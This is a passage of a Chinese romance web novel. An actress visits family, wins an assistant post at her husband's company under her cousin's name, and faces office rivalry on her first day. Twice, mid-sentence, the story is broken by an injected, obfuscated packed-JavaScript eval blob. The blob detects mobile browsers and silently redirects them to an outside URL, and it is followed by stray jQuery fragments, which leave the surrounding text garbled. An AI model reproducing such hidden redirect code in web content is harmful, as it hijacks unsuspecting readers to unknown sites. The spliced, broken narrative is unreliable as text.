“爸,妈。”温珍旎乖巧叫人。
见小夫妻来了,慈邵眼里多了两分平和,“来得正合适,快坐下吃饭。”
“珍旎,来,坐妈妈旁边。”
庄明华笑容温煦,拍了拍身边的位置,温珍旎便快步过去挨着她坐下。
“嫂子早,哥早。”对面抬起一张与慈恒有五分相似的年轻脸庞。
专注干饭的慈宇跟两人打了招呼,把一盘煎得金黄的生煎包送到温珍旎面前,“嫂子,这个麻辣生煎包好吃,刚出锅的,热乎着。”
慈恒擦完手,用筷子夹了一个灌汤包放进温珍旎的餐盘,转头问慈宇,“南埠展会反馈怎样?”
他说的这个展会是世界性质的机器人博览会,全球拥有先进机器人技术的国家都有参展。
泰华投资组建的团队环星机器人研究所,研发的机器人在诸多领域都取得了重大成果。
慈宇一直在攻克这方面的技术难题,他对自己很有信心,谈起成果来也毫不谦逊。
“救援机器人和用于医疗健康的外骨骼机器人反馈特别好。我们这次推出的陪伴型机器人,语音交互优于其他公司,占有绝对优势。”
说到这,慈宇话锋一转,看向温珍旎,“嫂子,我送你一个陪伴机器人吧。”
养狗不行,养机器人还是可以的。
温珍旎觉得有点意思,“是不是那种可以交流的机器人?”
“嗯,外形很可爱,你肯定会喜欢的。”
慈宇特意翻了官方图给她,开始滔滔不绝地讲解用途和功能。
看到两个儿子在自己擅长的领域里做出成就,作为父亲的慈邵欣慰不已。
“机器人项目是今年的重点发展项目,慈恒,你要好好跟进。”
慈恒:“我会的,爸。”
“尽说这些。”庄明华瞪了瞪父子俩,“吃饭就吃饭,一到桌上就谈工作,除了工作就没生活了?”
话说着,矛头又指向慈恒,“尤其是你,说什么事业为主,一走就是三年,回来的次数一双手都数得过来。”
“要我说,趁着珍旎休息,该多陪陪她,别整天忙工作,工作做得完吗?”
劈头盖脸得了一顿数落,慈恒属实觉得冤枉,“陪的还不够多,就差长她身上了。”
他给父亲递眼色,让他管一管自己老婆。
“明华啊……”
慈邵喉头微动,是想替长子辩驳几句来着,但庄明华一记眼风扫了过来,将他未出口的话冻结在舌尖。
慈邵脸上立时堆起笑容,改口道:“你妈说的在理,听她的没错。”
慈恒:“……”
就不该对这位妻管严抱有任何不切实际的幻想。
早餐在一家人和乐融融的气氛中结束。慈邵夫妇也准备回樟园,陪老太太小住几日。
司机将车停在了酒店的旋转门外,不是寻常的豪车,是一台线条庄重的国礼,深沉的黑色车身在晨光下泛着内敛的光泽,车头挂了特殊牌照,足以窥见家族的底蕴。
慈恒上前为父母拉开后车门,庄明华弯腰坐了进去。
临上车前,慈邵拍了拍长子的肩膀,“干得不错。”
隔着车窗,庄明华问慈宇,“你不上车,要去哪儿?”
慈宇是家里唯一没结婚的孙辈,最是怕见老太太的时候。
听庄女士要他回樟园,赶紧退了几步,“我跟我哥回去。”
庄明华没好气地白他一眼,“你哥哥嫂子回娘家,你也要跟去啊?”
“妈,小宇不是外人,就一起去吧。”温珍旎不觉得有什么不妥。
金慈两家熟得不能再熟,还没结亲前,慈宇经常去蹭饭。
慈宇挠挠头,还是有些不好意思的,“我送哥哥嫂子去金叔那里,就开车回紫金湾。”
紫金湾别墅大,不影响小夫妻,庄明华也就没继续强求,由他去了。
慈恒站在原地,目送那台象征地位的国礼消失在街角。
刚收回目光,通体曜石黑的宾利慕尚悄无声息地滑到了他面前。
“哥,嫂子,快上车!”
驾驶座的慈宇像是拿了免死金牌,脸上带着点小得意。显然是把司机给打发走了,抢走了这辆车的使用权。
慈恒拉开车门,把温珍旎塞进车里。
去金家的路上,温珍旎坐在宽敞的后座,刷着微博,耳边都是兄弟俩关于集团项目的积极讨论。
温珍旎早就习惯了,偶尔听到某个熟悉的名字时,才抬起头,一双晶亮的眼睛看向慈恒,带着点求证的小雀跃。
慈恒的目光会短暂地从手机上移开,掠过她带着询问的眼睛,极淡地“嗯”一声,表示确认。
在她过于离谱的猜测时,唇角会牵动一下,带着点调侃又无奈的笑意,继续投入到和弟弟的讨论中。
慈恒全程主导着讨论方向,慈宇则负责提出尖锐问题,给出建议,兄弟俩对话条理清楚,带着决策者的冷静和务实。
到底是几代从商的家族,商业头脑不比一般人。
虽然专业术语听起来像天书,但好歹也算长了见识。
温珍旎听了这会儿的天书,忽然就想起秦清的建议,不免有些心动。
“小宇,咱们公司还招聘职员吗?”她问。
慈宇:“泰华扩展业务,各部门都有招聘指标。嫂子问这个做什么?”
有就好办多了,她可以走后门去泰华。
温珍旎忽视旁边的视线,直接问:“你看我能应聘不?”
慈宇透过后视镜看她一眼,“嫂子肯定没问题啊。”
慈恒回复消息的动作顿了一下,“为什么想去公司上班?”
温珍旎如实回答:“休假无聊,体验一下生活。”
“嫂子,可以是可以的,不过……”慈宇扫了眼后排的慈恒,清了清嗓子,“我说了不算,你得问我哥,他能同意吗?”
看他哥懒得搭理的模样,慈宇戏谑道:“哥,要不开个后门,不然她能天天在你耳边念叨。”
慈恒虽然眼睛在手机屏幕上,实际上叔嫂俩的话一字不落地进了耳朵。
“家里呆不住,想没苦硬吃?还是零花钱不够花了?”
“不想在家,可以约上你那个海王闺蜜去拍卖会,或者环球旅行。”
什么海王闺蜜,多难听啊,人家那叫追求。
温珍旎心里吐槽了一句,嘴上嘟囔,“我就是想上班。”
慈恒终于抬眼看她,语气十足无奈,仿佛在哄耍赖的小孩,“公司岗位都是给关键人才预备的,没有合适你的职位,还是去散心吧。”
说的也不是没有道理。如果她再坚持,就显得不识大体了。
温珍旎有些烦躁地轻叹了一声。
看到小嫂子苦着脸,慈宇赶紧打圆场,“总裁办倒是可以考虑,多一个名额也无妨嘛。”
慈恒没反驳,却是眉峰微挑,眼底有几分戏谑,“当红女明星,你确定要用这张脸在公司里招摇过市?”
温珍旎只想着要去公司上班,倒是没考虑到这个问题。
她想了想,语气轻快地说道:“大家都说我和表妹长得像,我可以借用她的名义进公司,不登记真实信息就好。反正也待不了多久。”
倒是机灵,会给自己想办法。
慈恒没有直接回答,目光重新落回屏幕,仿佛刚才只是一个无关紧要的小插曲,就先前的问题继续跟慈宇讨论。
温珍旎就料到他没这么好说话。
泰华如果去不了,大不了她去自家的公司。
慈宇从后视镜里窥见这一幕尽,安慰了几句,驾驶着宾利驶向闹中取静的核心地段。
金宵离婚后,没有再婚,带着一双儿女搬进了中央公园的大平层。
生活圈去哪都方便,电梯直达入户,隐私性强,而且极大地方便了温珍旎回家。
随着电梯打开,暖黄的灯光从玄关处倾泻出来。
温珍旎包包都没放下,就蹦跳着去够鞋柜里的拖鞋。
“爸,我们回来啦!”
看她歪歪扭扭地单脚站立,另一只脚划着圈找拖鞋,慈恒扶住她的胳膊,接过她快要甩出去的包包。
借着手臂支撑的力量,温珍旎换好拖鞋,迫不及待地往屋里跑。
一进房间就嗅到了香喷喷的味道,她深吸了一口气,“爸,做什么好吃的呢,好香啊。”
说着话的时候,人已经奔向餐厅。
餐桌上,清蒸鲈鱼,干锅排骨,糖醋脆皮豆腐,西兰花炒牛肉粒,还有一锅冒着热气的当归鸡汤。
厨房里传来锅铲碰撞的声音,金宵在忙碌中探出脑袋,“还有一道菜就上桌,快去洗手。”
慈恒站在玄关灯下,看着温珍旎偷吃,不禁想起婚后第一次陪她回来的情形。
也是这样,被他发现偷吃后,尴尬地吐着舌头。
“尝尝看,爸爸的手艺有没有退步。”
金宵端着最后一道油焖大虾出来,脱了围裙,指挥慈恒,“小恒,酒柜里拿瓶酒,咱们喝一个。”
慈恒在酒柜挑了杯子,选了一支果香餐酒。
金宵接过他倒的酒,温珍旎纤细的手指便压住了酒杯,“爸,你有老胃病,只能喝一点。”
她不喜欢扫兴,但健康问题也不容忽视,“医生上周还说您身体指标有问题,我得时刻监督你。”
“你呀,回来一次,就管我一次。”金宵笑着摇头,眼尾笑纹里藏着宠溺。
“您老人家还是多吃点肉吧。”
温珍旎夹了排骨给老父亲,自己也夹了一块,熟悉的味道让她差点落泪。
看着父亲和丈夫在桌上相谈甚欢,温珍旎趁机提要求,“爸,我去奇缘上班怎么样?”
慈恒端着杯子的手悬在了半空,“我不松口,你就来跟岳父撒娇?”
他放下酒杯,顺手把刚剥的虾肉推到了温珍旎面前。
“对啊,谁让我有个宠我的爸爸呢。不像某些人,一点方便都不给。”
温珍旎哼一声,将垂落的卷发别到耳后去,“还是爸爸最好了。”
没良心的,他究竟哪件事没有应允过她?她是不是忘了,求他那会儿,一口一个金主亲老公的时候了。
慈恒好整以暇地看着人,手指转动着婚戒,眼角微翘起来。
“你都多大的人了,怎么还告状呢。”金宵嘴上数落,面上的笑意却不掩。
温珍旎开心,“能一直告状,说明我有亲人撑腰呀。”
这话说的不无道理,慈恒也难得一笑。
金宵向来不忍心责备这个女儿,“歪理挺多。”
听她的意思,是想去公司上班,也不知道是不是心血来潮。
“怎么想要上班?是不是想通了,决定退圈继承家业了?”
“才不是。”温珍旎把头摇成了拨浪鼓,“我事业当红,不要退圈。”
结果在意料之中,金宵有点失望。
不过能做自己喜欢的事,开心顺遂也挺好。
金宵不提了,往她碗里添菜,“多吃点,看你都瘦了,让你妈看到,该怪我没把你照顾好了。”
“知道了。”
或许这就是回家的意义吧,不是山珍海味,而是有人记得你爱吃什么,关心你胖了还是瘦了,有没有受委屈。
想到父母无条件的爱,和给她自由的底气,温珍旎就像回到了小时候,变得格外黏人。
今天家里的帮佣放了假,饭后慈恒主动提出洗碗。
温珍旎嘴上说着帮忙,却只是帮他挽高了袖子,慈恒把碗筷收进洗碗机,她负责按开关,慈恒洗水果,她就开水龙头。
好像很忙的样子,实际一点也不忙,全程就起到了一个聊天解闷的作用。
“这个味道很好。”
洗出来的草莓红得诱人,温珍旎在旁边偷吃,然后挑了最红的一颗喂他,“你吃这个,肯定甜。”
慈恒不吃,她直接把草莓塞到了他嘴里。
指尖沾到了草莓汁,她趁机抹人一脸,然后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861611|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捧走整盘草莓,逃去书房找父亲。
正好金宵也在叫她,“旎旎快来,金奇的视频。”
金奇是她弟弟,在伦敦读书,一年到头也见不了两面。
温珍旎放下草莓,挤到镜头前打招呼,“奇奇。”
镜头那头,金奇顶着一头银灰色碎发,死气沉沉地歪在沙发里。背景是景观大客厅,一眼就能看到伦敦塔桥和碎片大厦。
温珍旎出现在屏幕前时,金奇就只是懒懒地掀了掀眼皮,“姐,你怎么回家了?跟姐夫离婚了?净身出户了?”
温珍旎:“……说什么呐。”
嗯,是亲弟弟,一个妈生的。
金宵怼他,“臭小子,好好说话。”
“噢,好的,老头。”
房间没开灯,金奇眼尾那颗泪痣在手机冷光里若隐若现,只是垂眼看人的神情,像极了加强版的慈恒。
温珍旎把下巴搁在父亲肩头,跟这个叛逆迟来的弟弟聊了会天,关心他在那边的饮食起居。
聊到后面,金宵老生常谈地提醒:“人在国外,最好悠着点,要是干出危害自身,威胁国家的事,我就叫人打断你的狗腿。”
金奇无力地叹气,“老头,你对我姐就不是这态度。”
金宵从鼻子里哼出一声,“你姐姐省心多了。”
瞥见温珍旎捂嘴偷笑,金奇委屈地拖长了音调,“爸,你直接坦白吧,我是不是路边随便捡来的,根本不是你亲生的。”
“我看你是皮痒了,想挨揍。”
父子俩温馨不到几分钟,又开始上演了“父慈子孝”。
挂断视频后,金宵长叹了一口气,忧心忡忡地跟女儿道:“你弟弟就是没笼头的马,一个不慎就跑偏。”
金奇从小就不服管教,金宵不放心,想把他拴在身边,他偏要去国外读书。
没办法,只能三天两头打电话督促,生怕他不学好走了歧途。
“爸放心吧。”温珍旎给他捏着肩,“奇奇不会的,他就嘴上爱气人,实际乖得很。”
金宵望着女儿,才发觉自己是真的老了,“你结婚以后就不怎么黏爸爸了,有时候还怪不习惯的。”
“这是怪我没能经常回来?”
温珍旎听出弦外之音,像小时候那样搂住父亲的脖子,趴在他背上,“那以后我就经常回来,让你看见我就烦。”
父女俩说着话,慈恒端着果盘进来,就看见妻子趴在岳父背上撒娇。
“金奇打电话了?”他问。
温珍旎点头,“嗯,还问起你了。”
问你是不是把我净身出户了。
温珍旎从父亲背上下来,到慈恒身边坐下,慈恒顺手将果盘放在了她面前。
剥好的荔枝凝着霜露,和切成条的菠萝摆了盘,酸酸甜甜的搭配,看着就开胃。
温珍旎叉了一块菠萝,看到父亲递上松木烟盒,“海外项目做的真不错,每次跟老友聚会,都有提到你,爸爸我也是跟着沾光了。”
“爸过誉了,都是上一辈奠定的基础,运气占了很大一部分。”慈恒谦虚道。
他放下卷至肘部的衬衫袖子,修长有型的手指熟练地推开烟盒,抖出一根香烟,噙在嘴里。
玳瑁火机“啪”地一声,惊醒了一直在盯着他手看的温珍旎。
看这架势,就知道翁婿俩要谈公事了。
对此毫无兴趣的温珍旎赶紧告辞,逃离书房,回了自己卧室。
时间还早,她趴在沙发里刷微博,昨天发的那条已经转赞百万。
习惯性地点进评论区,居然看到高赞热评里出现了一个眼生的id。
用户8219359072:图片
没有文字评论,只发了一张照片。
她把图片点开放大,目光渐渐疑惑起来。
这个视角,如果没记错,是入场前从后方拍摄的宴会厅。满目的星星背景虽然华丽醒目,但第一眼看到的其实是她的背影。
温珍旎心头触动了一下。
这个id是系统默认的初始昵称,头像也是初始头像,她还是是第一次见到。
看上去很像僵尸粉,可是等级已经是钻粉三级了,明显是经常互动的活人号。
温珍旎抿了抿唇,从头像点进去。
主页空白,一条内容也没有。
或许就是一个普通追星号吧。
她突然觉得没意思,果断地退出微博,点开一部偶像剧打发时间。
差不多一集快看完,慈恒才回的卧室。
“跟爸爸聊完了?”
“嗯。”
温珍旎晃着小腿,抬头看了他一眼。
慈恒解开领口的云母扣,俯下身看她的屏幕,“看什么?”
压下来的身影遮挡了视线,温珍旎不适地偏了下头,“一部偶像剧,取一下经,为我的下部戏做准备。”
慈恒从不看偶像剧,听她这么一说,跟着瞅了两眼。
剧情刚好进展到所谓的名场面,男女主在上升中的可视电梯里接吻,外面是狂风骤雨,潮湿的镜头将两人的暧昧氛围拉满。
这时候屏幕上疯狂地飘过一片弹幕,什么拉扯感,什么性张力,全是看不明白的东西。
实在难懂,在他看来明明很一般的情节,温珍旎居然会兴奋到在沙发上扭成蛆。
“有那么好看?”
“好看啊,你看男主的这个眼神……这个转身……还有这个吻,不要太会了好吧。”
温珍旎跟脑子里只有事业的直男解释不清,“反正就是两个字——好看。”
“这种程度的演技?”
慈恒上身俯得更低,散开的衬衣擦过她的脸颊,婚戒在无名指转过半圈,“你不怕越学越坏,把本就不多的演技给丢了?”
温珍旎:“呃。”
他的嘴是抹过砒霜了吗?
“不过也有希望,题海战术对你还是管用。”
他说话是真的很不中听。
谁来给他一瓶哑药!
温珍旎心里把他一顿胖揍,嘴上反击得实在文明,“你能力是出众,还不是被我给拿下了。”
慈恒勾了下嘴角,微微颔首,破天荒地给到她情绪反馈,“那你岂不是更厉害。”
“毕竟拿下了我。”
14. 014
“嗯?”温珍旎蜷在沙发里,陷在柔软的抱枕上,露出迷茫的眼睛,长睫扑闪着。
不敢信,这话是从慈恒这种毒舌男嘴里说出来的。
在温珍旎质疑的目光里,慈恒伸出手掌拍了拍她的背,视线掠过露在外面的腿,极其自然地将膝上微卷的裙摆扯了下来。
温珍旎顺势翻了个身,趴在抱枕上,足尖悬空晃着。
他握住脚踝,止住她的动作,“给你安排一个助理的工作?”
低沉平缓的声音,好像只是随口提起。
温珍旎努力让自己沉浸在电视剧里,试图忽略小腿上的酥麻感,“现在讨好我太晚了。”
“不要?”
“……也不是不要。”
温珍旎咕哝着翻回身,暖光扫过她的眼尾,将眸子映得雪亮。
“同一个公司上班,工作上来往的话,你会徇私吗?”她很好奇。
慈恒:“我公私分明,不会给你放水。”
“真的?”她抬起脚尖,蜷起的脚趾抵住他腰侧,“勉为其难再给一次机会,重新说。”
不解风情的男人还是那句话,“工作是工作,生活是生活,再说也一样。”
她足尖的力道加重,带着一丝挑衅的痒意,穿透了薄薄的衣料,意图揪他腰间的肉。
“说不过就恼羞成怒要打人了?”慈恒紧抿的唇角向上弯起弧度。
他干脆利落地扯下那副银丝眼镜,捞住作乱的腿,手掌按在了她随呼吸起伏的蝴蝶骨。
衬衫袖子被动作牵了起来,露出一截强劲的腕骨,男人骨节分明的手背暴起淡青色的血管。
温珍旎喜欢看他的手,修长有型,尤其血脉偾张的时候,有股说不出来的艺术感,看得人心痒。
温珍旎后知后觉,这样的姿势太危险了。
她想挣脱,被扣紧了腿,因为力道太大,拇指在皮肉上碾出红印。
“你轻点。”她说不舒服。
慈恒手掌微滞,眉梢几不可查地挑了一下,“娇气。”
他低下头,呼吸喷洒在她敏感的耳后,声音带着滚烫的温度,“公事谈完了,现在来谈私事。”
手指沿着温珍旎的脊背,在蝴蝶骨烙下滚烫的印记,像突然燃起了无声的火,烧得人往下坠落。
温珍旎勾着肩臂的手紧了紧,目光被烫到似的慌忙移开了,“是不是太频繁了……”
没有了镜片的遮挡,他眼底的情绪再没有半分遮掩,“不多,毕竟有三年的作业要补齐。”
“还有未来进组拍戏的预支。”
按在蝴蝶骨上的手掌骤然发力,将她压向自己的肩膀,而后带着不容置疑的强势,覆上水润的唇。
橘色落地灯给他轮廓分明的脸染了一层暖色,手背上淡青血管在冷白皮肤下蜿蜒,骨节凸起,好似隆起的冰川。
那只手抵着温珍旎的后颈,滑向脊骨,捉住腰时,筋脉浮凸,蛰伏的力量冲破了矜贵儒雅的表象,在斑驳灯影里显出惊心的欲色。
落下的吻是滚烫的岩浆,随着脉搏的跳动,疯狂地沸腾。
分明做着最亲昵的举动,骨相却矜贵得像油画里执剑的骑士。
温珍旎的骨头是软的,揪住他衬衣的手出了细汗,心底却翻起了最柔软的浪。
她颤抖着抓住了男人的肩膊,在被慈恒捏住手指时,不经意摸到了一枚戒圈。
“你戴婚戒了?”她含糊地问,想要看一眼。
慈恒吻她的眼角,“表明人夫身份,证明你我夫妻关系和谐,并非外界传言的那样,会省掉许多麻烦。”
暖灯在墙面投下两人相拥的身影,手机滑到地毯上,偶像剧的片尾曲在房间流淌着,片刻之后,开始自动播放下一集。
**
夫妻俩在金家住了两天,周一早上,司机开车来接慈恒去集团总部。
温珍旎独自回的樟园,陪公婆和奶奶一起吃了午餐,再回紫金湾时已经日影西斜。
慈恒答应给她安排助理职位,昨天她就给外地实习的表妹乔倩倩发了消息,把自己借用身份的想法提了提,轻松搞定了表妹。
到傍晚的时候,她接到泰华人事的电话,通知她明早九点半报道。
既然决定去上班了,就得想一下明天穿什么,化什么妆。
她走进衣帽间,目光掠过那些服饰和包包,选择困难症犯了。
想到这里,给奚淼打去视频,让她帮自己研究通勤look。
“不就是上个班吗,又不是走红毯。”
奚淼实在理解不了她期待上班的心情。
温珍旎:“第一天嘛,还是要留下好印象。”
奚淼觉得也有几分道理,“也对,咱们必须艳压群芳,从踏入公司的第一秒就slay全场。”
温珍旎选出一条卡其色高腰伞裙,冲着镜头比划,“我要不换个跨度比较大的风格?高知风和法式风倒是符合职场,就是容易被认出来。”
奚淼倒了杯红酒,轻飘飘瞥了一眼,“穿什么是次要,关键靠脸。就你这张脸,裹着麻袋也是在逃公主。”
看她积极地搭配衣服,奚淼托腮凑近镜头,“这是准备跟你老公玩办公室play?”
“我是正经上班,不是去玩的。”
温珍旎将长发梳成两条麻花辫,换上选好的衣服,阔腿裤将腰线收紧,“我觉得这样挺有说服力,很像刚入社会”
奚淼打量着,提出意见,“眼睛辨识度还是太高了,妆容上可以改变一下眼型。”
说的不无道理。
于是温珍旎尝试着画日系妆,挑了一只颜色日常的口红,把嘴唇画得丰润些。
“这样有没有好点?”
晃着酒杯的奚淼缓缓点头,竖起大拇指,“女明星就是女明显,可塑性很强嘛。”
“要是有刘海就更好了。”
温珍旎还是有点遗憾,她的头发要为下部戏的造型留着,不能随便折腾。
看她来真的,奚淼也觉得挺有意思,“我空了就来探你的班,看看白领早九晚五的社畜生活。”
“好啊,随时欢迎奚大小姐来视察工作。”
温珍旎还想跟她聊点别的,佣人突然敲门进来,说是请她下楼去用餐。
“不说了啊,下次咱们再聊,他回来了。”
掐断视频,她换了衣服,下楼去跟慈恒吃饭。
可能是要去泰华上班,温珍旎晚上兴奋得睡不着,第二天起得比慈恒都早。
吃早餐时,慈恒看她的眼神古怪,“你今天……有些不一样。”
“因为我乔装打扮过了。”
温珍旎捧着脸,急于炫耀自己的得意作品,“这可是我花了一个小时的杰作。”
左瞧右瞧,是不一样,但区别也不是很大。
慈恒不关心她带不带妆上班,关心的是,“所以以后上班都要花一个小时化妆。你睡眠够吗?”
直男就是会破坏气氛。
温珍旎:“重点不是这个好吧。”
慈恒扯了餐巾擦手指,“你搞定乔倩倩了?”
“轻松搞定了。”
她舀起奶油蘑菇汤,氤氲热气模糊了眼底的狡黠,“表姐夫不介意跟表妹一起共事吧?”
“我倒是不介意。”
慈恒哼笑,漫不经心地指了指柜台上的金座钟,“可惜某些人第一天上班就要迟到了。”
温珍旎一看时间,竟然都八点半了,“你怎么不早说!”
剩下的早餐吃不下了,拿了半个南瓜饼塞在嘴里,抓过包包就要走。
见慈恒没跟上,又回去拉拽他,“快走啊,你是总裁不怕迟到,我只是一个人微言轻的小职员。”
“进入角色挺快,演员的基本素养还在。”
慈恒表扬了她的工作态度,跟着坐进后座,顺手递上一瓶温好的牛奶。
车子启动,温珍旎才想起早上一直没有看到慈宇。
“小宇呢?”她问。
慈恒抬起腕上的百达翡丽,“他走的早,这个点差不多快到公司了。”
“这么早!”她惊讶。
“底薪一千,全勤三万,换成你也可以。”
他甚至还好心地给她提示,“以后这个点你要是在公司外面看到他,就说明你迟到了。”
温珍旎:“……”
那真是谢谢你的好意啊。
“对了,就把我放在公司附近的地铁站吧,我自己走过去。”
慈恒露出难以理解的表情,“有区别吗?”
“当然有区别。”
温珍从包里拿出早就准备好的装饰眼镜戴上,“泰华总部少说也有两万人,我不想刚上班就暴露身份。”
她的助理岗隶属于总裁办,办公楼在最高层八十八楼,包括她在内一共有十名助理。
派给她的任务比较简单,主要是协助其他同事组织会议和座谈。
第一天上班,总裁办的王主任把她安排给了老员工李薇,让李薇带她先熟悉各部门的位置,以及认脸。
“倩倩,你背的那款爱马仕季节限定,配货都要七位数吧。”
李薇是主动来当向导的,她亲热地挽着温珍旎,“你是本地户口吗?家里很有钱吧。”
李薇个子本就高,再踩着高跟鞋,挽着温珍旎手臂的时候,温珍旎有一种被她拎着走的感觉。
而且她身上的香水味有些甜腻了,温珍旎闻着不舒服。
“我爸在天海做点小生意,小时候就跟着他移居过来。”这是真的。
“那个包……”今天走得匆忙,压根注意到品牌细节。
“其实是一个富婆姐姐送的。”包是奚淼送的,说是富婆姐姐也没错。
“原来是朋友送的啊。”
李薇撇了下嘴角,突然松开了手,“我突然想起来,还要去给刘总送资料呢,你自己随便看看吧。”
说完,甚至都没看温珍旎一眼,就踩着高跟鞋嗒嗒嗒地走了。
看着高挑的身影摇曳生姿地消失在走廊转角,温珍旎懵了一瞬。
才说两句话而已,怎么就换了一副面孔。
川剧变脸都没她快。
不就是去部门打招呼嘛,有什么难的。
没人带她,温珍旎就自己拿着部门表一层一层地走。
她性格好,开朗元气,说话又很温和,大家对她也和善,不明白的地方也都乐意帮她。
走完所有的行政楼层,身上都汗湿了一层。温珍旎回到工位,扯了纸巾擦脖子里的汗。
坐在对面的露西递过来一只水杯,小声跟她解释:“刚才你没在,总助来过了,让我把杯子转交给你。”
可能是看她没带水杯,慈恒交代的吧。
正好也口渴了,温珍旎道了谢,拿上水杯去茶水间。
刚走到外面,就听到李薇那捏起嗓子说话的声音。
“她呀……”
蒸汽的氤氲中,李薇端着咖啡杯,笑得轻视,“看她背的限量款包包,还以为是哪家大小姐来体验生活的,结果就是来打工的外地佬。”
原来把她半路抛下的人,是躲回来说是非了。
温珍旎没有回避,直接大大方方地过去接水。
和李薇说话的同事一时间尴尬得不知道把眼睛放哪里,拽着满脸不情愿的李薇出了茶水间。
随后露西走进来,借着接水的哗哗声,好心提醒她,“李薇跟刘总走得特别近,大家都不敢得罪她。”
说的很隐晦了,但懂的都懂。
温珍旎没有发表自己的看法,而是问她:“你看着年纪好小,是实习生吗?”
露西摇头,“上一年班了。”
她有一颗小虎牙,笑起来傻乎乎的,但很可爱,“充一下老资历,你不懂的地方可以问我吧,我帮你。”
释放好感的人,温珍旎也不吝惜自己的善意,“好啊,那就请你关照啦。”
两人接完水,一起回工位,刚好王主任从外面进来,招呼李薇做好接待方胜设计团队的准备。
工位上的李薇果断将咖啡杯往桌面一放,掏出化妆镜开始补涂口红。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861612|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
王主任又看向温珍旎道:“乔倩倩,你帮李薇准备一下茶点。”
话音落下,李薇托在指尖的粉饼盒咔嗒一声合上,又啪地一声扔回办公桌。
于是办公室里诡异地出现了一瞬间静默。
其余人的视线扫向温珍旎,有同情的,有看戏的,也有担忧的。
温珍旎觉得莫名,她和李薇也没有过节吧,干嘛那么大的敌意?
接待方胜集团的地方安排在本层的会议室,在这之前,他们的高层会到休息室里暂时休息。
点心是现成的,温珍旎只需要从冷藏室里拿出来,再准备一些茶点和咖啡。
期间李薇简短地交代了一些注意事项。
“待会儿慈总可能会过来,你做事说话最好放机灵点。慈总为人严苛,工作上不能有半点马虎。”
“还有,方胜的那位姜总喜欢瑰夏冰滴,最好是现磨的,下次记住了。”
她说的注意事项,温珍旎都在备忘录里一一记了下来。
听到慈恒严厉,她下意识就问:“慈总工作很严厉吗?”
慈恒的嘴比较损倒是真的,所以她有些好奇,对待下属的慈恒是什么样子,是不是跟在家里一样毒舌。
李薇却没有满足她的好奇心,而是转过身,环着手臂,低垂着眼皮看她。
“乔倩倩是吧?总裁办是最接近高层的地方,到了这里,心态要摆正,不要有工作以外的妄想。”
温珍旎:“……”她说错什么了?
她就是来上班而已,能有什么坏心思。
李薇却不这么想,端起磨好的咖啡,“咖啡我送过去就行了,你回办公室吧。”
温珍旎初来乍到,确实帮不上什么忙,便回了办公室。
这次是泰华和方胜的合作项目对接交流会,差不多要一整天的时间。
中午会议暂时告一段落,温珍旎和同事结伴去食堂吃饭。
还别说,泰华食堂的饭菜可比剧组的好吃太多了。
尤其露西推荐给她的蜜汁鸡翅,温珍旎一口气吃了好几块。
夹最后一块时,一个同事突然神神秘秘地说:“倩倩,有没有人说过,你长得超像一个明星。”
“有吗?”温珍旎心虚地眨眨眼。
“真挺像的。”露西也点头,“你知道sweety女团吗?里面的主舞温珍旎。”
其他同事附和道:“至少有七分像。”
不会吧,她都刻意模糊特征了,还能认出来。
温珍旎都没敢吭气,怕自己露馅,掩饰地推了推眼镜,继续埋头吃饭。
大家在食堂吃完午饭后,一起回到办公室午休。
露西悄悄告诉她,公司订了锦煌夜宴的酒席,双方高层今晚都要出席。
如此说来,慈恒有应酬了。看样子,她只能自己下班了。
温珍旎想了想,发了一条微信。
还没等到慈恒的消息回复,李薇踩着高跟鞋走到她工位旁,吩咐她去给贵宾休息室的姜总送杯热牛奶。
总裁办准备的有新鲜牛奶,就放在茶水间的冰箱里。
温珍旎将热好的鲜奶注入骨瓷杯,夹了一块黑森林蛋糕,又配了锡兰红茶,送去贵宾室。
她敲门请示,里面传出一个女人的声音,“请进。”
推开贵宾室的橡木门,温珍旎捧着托盘进去,“姜总,你要的热牛奶。”
站在窗前的女人回过身,“谢谢。”
晌午的阳光正好,从落地窗外照进来,随着姜琳的走动,光影缓缓流转过温珍旎的侧脸。
胸前的工牌不知何时被姜琳翻了过来,夹在指尖,‘总裁办’三个字明明灭灭。
红底鞋的叩击声里,姜琳回到沙发坐下。
温珍旎放好托盘,将杯子手柄放在了她最顺手的位置。
这个细节不刻意,像是习惯使然。
姜琳好奇的目光在温珍旎脸上划过,看向托盘上的茶点。
红茶色泽红亮,黑森林蛋糕泛起丝绒光泽。
“看上去味道应该不错。”她微笑着说。
温珍旎为她介绍道:“这款黑森林蛋糕融和了樱桃酸和巧克力的苦味,很好地中和了奶油的甜腻。姜总如果还是怕腻,配的这杯锡兰红茶正好可以解腻。”
“你对蛋糕似乎很有见地。”
“因为喜欢美食吧,顺便了解了一些。”
在吃的方面,温珍旎确实很有心得,她自认为点评不会偏离太多。
姜琳把散落胸前的头发撩到肩后,拿起点心匙。
尖戳破蛋糕的巧克力脆壳,殷红的浆汁涌了出来。
姜琳叉了一小块抿进嘴里,细细品味,“甜味适中,很像曼哈顿麦迪逊大道那家蛋糕店。”
说着莞尔一笑,拉长的眼线跟着往上翘,“那家店还是你们慈总推荐给我的,他说那里的蛋糕适合亚洲人的口味。”
她口中的那家店,也是温珍旎常去的。
可是慈恒为什么要关注蛋糕店,他不是不爱吃吗?
温珍旎有疑问,但不多。
